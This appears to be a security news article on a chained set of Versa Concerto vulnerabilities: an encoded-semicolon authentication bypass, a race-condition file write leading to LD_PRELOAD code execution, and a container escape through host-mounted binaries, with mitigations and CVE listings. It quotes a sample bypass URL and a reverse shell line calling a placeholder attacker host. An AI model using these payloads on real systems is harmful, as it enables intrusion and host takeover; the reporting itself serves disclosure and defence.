Versa Concerto 0-Day Flaw Enables Remote Code Execution via Authentication Bypass

Versa Concerto, a widely deployed SD-WAN and network orchestration platform, is at the center of a major security crisis after researchers revealed a chain of unpatched, critical vulnerabilities.

These flaws—affecting core components built with Spring Boot, Docker containers, and the Traefik reverse proxy—allow attackers to bypass authentication, achieve remote code execution (RCE), and even escape container boundaries to compromise the host system.

The first vulnerability, tracked as CVE-2025-34027, arises from an inconsistency in how URLs are processed during authentication checks.

In Versa Concerto’s Spring Boot-based services, the authentication filter decodes REQUEST_URI before checking for protected paths.

However, the actual request controllers process the URL without decoding, creating a classic Time-of-Check to Time-of-Use (TOCTOU) issue.

Attackers can craft URLs with encoded semicolons (e.g., /portalapi/v1/users/username/admin;%2fv1%2fping) to bypass authentication and access restricted API endpoints.

Technical Example:

javapublic static String getNormalizeURI(HttpServletRequest request) {
    String uri = request.getRequestURI();
    return removeExtraSlash(URLDecoder.decode(URI.create(uri).normalize().toString(), StandardCharsets.UTF_8));
}

This logic mismatch enables unauthenticated access to sensitive routes, forming the foundation for further exploitation.

Arbitrary File Write and Remote Code Execution (RCE)

Once inside, attackers can leverage the vulnerable endpoint /portalapi/v1/package/spack/upload, which allows file uploads to arbitrary locations.

Although the application attempts to delete uploaded files if an exception occurs, the researchers identified a narrow race condition window where files briefly exist on disk.

By exploiting this, they managed to write both /etc/ld.so.preload a malicious shared object (/tmp/hook.so), setting up a classic LD_PRELOAD attack. When the system executed a health check (triggered by a periodic curl command), the malicious code was loaded, granting the attacker a reverse shell and full RCE on the container.

Relevant Code Snippet:

java@PostMapping(value = {"spack/upload"}, produces = {"application/json"}, consumes = {"multipart/form-data"})
public ResponseEntity<?> upload(...) throws Exception {
    // File write logic
    copyPackage(spackFile, spackFilePath);
    copyPackage(spackChecksumFile, spackSigFilePath);
    // ... error handling triggers file deletion
}

This exploitation chain—authentication bypass to arbitrary file write to RCE—demonstrates the severity of the flaw.

Container Escape and Host Compromise

The escalation does not stop at the container level.

Researchers discovered that the core-service Docker container had /usr/bin/ and /bin/ directories that were directly mounted from the host. With root access in the container, an attacker could overwrite a commonly used binary (e.g., /usr/bin/test) with a reverse shell script.

The default Ubuntu cron job /etc/cron.d/popularity-contest would eventually execute this binary, resulting in code execution on the host itself.

Malicious Script Example:

bash#!/bin/bash
bash -i >& /dev/tcp/attacker-ip/4444 0>&1

This dangerous misconfiguration, tracked as CVE-2025-34025, allows attackers to escape the Docker sandbox and fully compromise the underlying server.

Mitigations and Response:
ProjectDiscovery recommends urgent interim protections: block semicolons in URL paths and drop requests with Connection: X-Real-IP at the reverse proxy to prevent exploitation of the authentication and actuator endpoint bypasses.

Despite multiple disclosure attempts since February 2025, Versa Networks has yet to release official patches, leaving enterprises and government users at significant risk.

Detection Templates:
Nuclei templates for these vulnerabilities are now available, enabling automated detection across affected infrastructures.

Assigned CVEs:

• CVE-2025-34025: Insecure Docker Mount → Container Escape
• CVE-2025-34026: Actuator Authentication Bypass → Information Leak
• CVE-2025-34027: Authentication Bypass → File Write → RCE

Organizations are urged to implement mitigations immediately and monitor for suspicious activity until patches are released.

Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant updates